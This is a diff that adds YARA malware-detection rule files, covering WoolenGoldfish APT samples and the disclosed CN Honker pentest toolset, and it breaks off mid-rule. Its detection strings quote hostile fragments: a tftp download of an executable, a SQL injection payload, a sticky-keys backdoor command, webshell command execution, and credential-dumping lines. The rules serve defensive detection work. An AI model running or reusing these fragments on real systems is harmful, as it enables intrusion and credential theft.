+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+	strings:
+		$s0 = "Proxies destination address/port for TCP" fullword wide
+		$s3 = "\\Device\\StreamPortal" fullword wide
+		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
+		$s5 = "Cookie: SN=" fullword ascii
+		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" fullword wide
+		$s17 = "NTOSKRNL.EXE" fullword wide /* Goodware String - occured 4 times */
+		$s19 = "FwpsReferenceNetBufferList0" fullword ascii /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 275KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_woolengoldfish.yar b/yara-mikesxrs/Florian Roth/apt_woolengoldfish.yar
new file mode 100644
index 0000000..b65a45c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_woolengoldfish.yar	
@@ -0,0 +1,103 @@
+/*
+	Operation WoolenGoldfish Rules (Trendmicro Report)
+	v0.1 25.03.2015
+
+	These rules detect 26 of the samples mentioned in the report
+	Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/operation-woolen-goldfish-when-kittens-go-phishing/
+
+	Tested against 20GB goodware sample archiv - pls report back false positives
+	on LOKI's github page https://github.com/Neo23x0/Loki/issues
+
+*/
+
+rule WoolenGoldfish_Sample_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 60
+		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
+	strings:
+		$s1 = "Cannot execute (%d)" fullword ascii
+		$s16 = "SvcName" fullword ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		super_rule = 1
+		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
+		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
+		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
+	strings:
+		$x0 = "Users\\Wool3n.H4t\\"
+		$x1 = "C-CPP\\CWoolger"
+		$x2 = "NTSuser.exe" fullword wide
+
+		$s1 = "107.6.181.116" fullword wide
+		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
+		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
+		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
+		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
+		$s6 = "wlg.dat" fullword
+		$s7 = "woolger" fullword wide
+		$s8 = "[Enter]" fullword
+		$s9 = "[Control]" fullword
+	condition:
+		( 1 of ($x*) and 2 of ($s*) ) or
+		( 6 of ($s*) )
+}
+
+rule WoolenGoldfish_Generic_2 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
+		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
+		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
+		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
+	strings:
+		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_3 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
+		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
+	strings:
+		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
+		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
+		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+
+		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
+		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
+		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$s4 = "unable to load kernel32.dll" fullword ascii
+		$s5 = "index.php?c=%S&r=%x" fullword wide
+		$s6 = "%s len:%d " fullword ascii
+		$s7 = "Encountered error sending syscall response to client" fullword ascii
+		$s9 = "/info.dat" fullword ascii
+		$s10 = "Error entering thread lock" fullword ascii
+		$s11 = "Error exiting thread lock" fullword ascii
+		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+	condition:
+		( 1 of ($x*) ) or
+		( 8 of ($s*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/cn_pentestset_scripts.yar b/yara-mikesxrs/Florian Roth/cn_pentestset_scripts.yar
new file mode 100644
index 0000000..2c5534a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/cn_pentestset_scripts.yar	
@@ -0,0 +1,336 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-23
+    Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_mafix_root {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file root"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "826778ef9c22177d41698b467586604e001fed19"
+    strings:
+        $s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
+        $s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 96KB and all of them
+}
+
+rule CN_Honker_passwd_dict_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
+    strings:
+        $s0 = "654321" fullword ascii /* reversed goodware string '123456' */
+        $s1 = "admin123" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "admin123456" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "administrator" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 2 times */
+        $s4 = "passwd" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 42 times */
+        $s5 = "password" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 244 times */
+        $s7 = "12345678" fullword ascii /* Goodware String - occured 29 times */
+        $s8 = "888888" fullword ascii /* Goodware String - occured 61 times */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_Perl_serv_U {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
+    strings:
+        $s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
+    strings:
+        $s0 = "PassWord:F4ckTeam!@#" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "UserName:F4ck" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "F4ck Team" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
+    strings:
+        $s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_2 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
+    strings:
+        $s1 = "@del c:\\termsrvhack.dll" fullword ascii
+        $s2 = "@del c:\\3389.txt" fullword ascii
+    condition:
+        filesize < 3KB and all of them
+}
+
+rule CN_Honker_Injection_Transit_jmCook {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+    strings:
+        $s1 = ".Open \"POST\",PostUrl,False" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 9KB and all of them
+}
+
+rule CN_Honker_Pwdump7_Pwdump7 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
+    strings:
+        $s1 = "Pwdump7.exe >pass.txt" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_portRecall_pr {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file pr"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "583cf6dc2304121d835f2879803a22fea76930f3"
+    strings:
+        $s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
+        $s2 = "connect to client" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "PR(Packet redirection) for linux " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_3 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "cfedec7bd327897694f83501d76063fe16b13450"
+    strings:
+        $s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule CN_Honker_Alien_D {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
+    strings:
+        $s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii /* PEStudio Blacklist: strings */
+        $s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
+        $s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii
+    condition:
+        filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_ChinaChopper_db {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
+    strings:
+        $s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide /* PEStudio Blacklist: strings */
+        $s2 = "<O>act=login</O>" fullword wide /* PEStudio Blacklist: strings */
+        $s3 = "<H>localhost</H>" fullword wide /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 340KB and 2 of them
+}
+
+rule CN_Honker_syconfig {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
+    strings:
+        $s9 = "Hashq.CrackHost+FormUnit" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x0100 and filesize < 18KB and all of them
+}
+
+rule CN_Honker_linux_bin {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
+    strings:
+        $s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 20KB and all of them
+}
+
+rule CN_Honker_Intersect2_Beta {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
+    strings:
+        $s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "os.system('getent passwd > passwd.txt')" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "os.system(\"rm -rf credentials/\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x2123 and filesize < 50KB and 2 of them
+}
+
+rule CN_Honker_IIS_logcleaner1_0_readme {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2ab47d876b49e9a693f602f3545381415e82a556"
+    strings:
+        $s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
+        $s3 = "http://l-y.vicp.net" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule CN_Honker_Alien_command {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5896b74158ef153d426fba76c2324cd9c261c709"
+    strings:
+        $s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_portRecall_bc {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2084990406398afd856b2309c7f579d7d61c3767"
+    strings:
+        $s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii /* PEStudio Blacklist: strings */
+        $s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_MSSQL_ {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "7097c21f92306983add3b5b29a517204cd6cd819"
+    strings:
+        $s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule CN_Honker_nc_MOVE {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "4195370c103ca467cddc8f2724a8e477635be424"
+    strings:
+        $s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "HOST: 202.113.20.235" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_mssqlpw_scan {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
+    strings:
+        $s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii /* PEStudio Blacklist: strings */
+        $s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 6KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/cn_pentestset_tools.yar b/yara-mikesxrs/Florian Roth/cn_pentestset_tools.yar
new file mode 100644
index 0000000..8209972
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/cn_pentestset_tools.yar	
@@ -0,0 +1,2225 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CN_Honker_MAC_IPMAC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
+	strings:
+		$s1 = "Http://Www.YrYz.Net" fullword wide
+		$s2 = "IpMac.txt" fullword ascii
+		$s3 = "192.168.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_GetSyskey {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
+	strings:
+		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "The system key file \"%s\" is created." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule CN_Honker_Churrasco {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
+	strings:
+		$s0 = "HEAD9 /" ascii
+		$s1 = "logic_er" fullword ascii
+		$s6 = "proggam" fullword ascii
+		$s16 = "DtcGetTransactionManagerExA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 12 times */
+		$s17 = "GetUserNameA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 305 times */
+		$s18 = "OLEAUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1276KB and all of them
+}
+
+rule CN_Honker_mysql_injectV1_1_Creak {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
+	strings:
+		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii /* PEStudio Blacklist: strings */
+		$s12 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5890KB and all of them
+}
+
+rule CN_Honker_ASP_wshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
+	strings:
+		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "UserPass="
+		$s2 = "VerName="
+		$s3 = "StateName="
+	condition:
+		uint16(0) == 0x253c and filesize < 200KB and all of them
+}
+
+rule CN_Honker_exp_iis7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "WinSta0\\Default" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_SegmentWeapon {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Alien_iispwd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5d157a1b9644adbe0b28c37d4022d88a9f58cedb"
+	strings:
+		$s0 = "set IIs=objservice.GetObject(\"IIsWebServer\",childObjectName)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "wscript.echo \"from : http://www.xxx.com/\" &vbTab&vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Md5CrackTools {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Md5CrackTools.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "9dfd9c9923ae6f6fe4cbfa9eb69688269285939c"
+	strings:
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s2 = ",<a href='index.php?c=1&type=md5&hash=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4580KB and all of them
+}
+
+rule CN_Honker_CoolScan_scan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file scan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e1c5fb6b9f4e92c4264c7bea7f5fba9a5335c328"
+	strings:
+		$s0 = "User-agent:\\s{0,32}(huasai|huasai/1.0|\\*)" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "scan web.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3680KB and all of them
+}
+
+rule CN_Honker_mempodipper2_6 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mempodipper2.6.39"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ba2c79911fe48660898039591e1742b3f1a9e923"
+	strings:
+		$s0 = "objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_COOKIE_CooKie {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CooKie.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f7727160257e0e716e9f0cf9cdf9a87caa986cde"
+	strings:
+		$s4 = "-1 union select 1,username,password,4,5,6,7,8,9,10 from admin" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "CooKie.exe" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule CN_Honker_wwwscan_1_wwwscan {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6bed45629c5e54986f2d27cbfc53464108911026"
+	strings:
+		$s0 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file D_injection_V2.32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+	strings:
+		$s0 = "Missing %s property(CommandText does not return a result set{Error creating obje" wide /* PEStudio Blacklist: strings */
+		$s1 = "/tftp -i 219.134.46.245 get 9493.exe c:\\9394.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule CN_Honker_net_priv_esc2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file net-priv-esc2.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4851e0088ad38ac5b3b1c75302a73698437f7f17"
+	strings:
+		$s1 = "Usage:%s username password" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<www.darkst.com>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 17KB and all of them
+}
+
+rule CN_Honker_Oracle_v1_0_Oracle {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Oracle.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+	strings:
+		$s1 = "!http://localhost/index.asp?id=zhr" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3455KB and all of them
+}
+
+rule CN_Honker_Interception {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Interception.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ea813aed322e210ea6ae42b73b1250408bf40e7a"
+	strings:
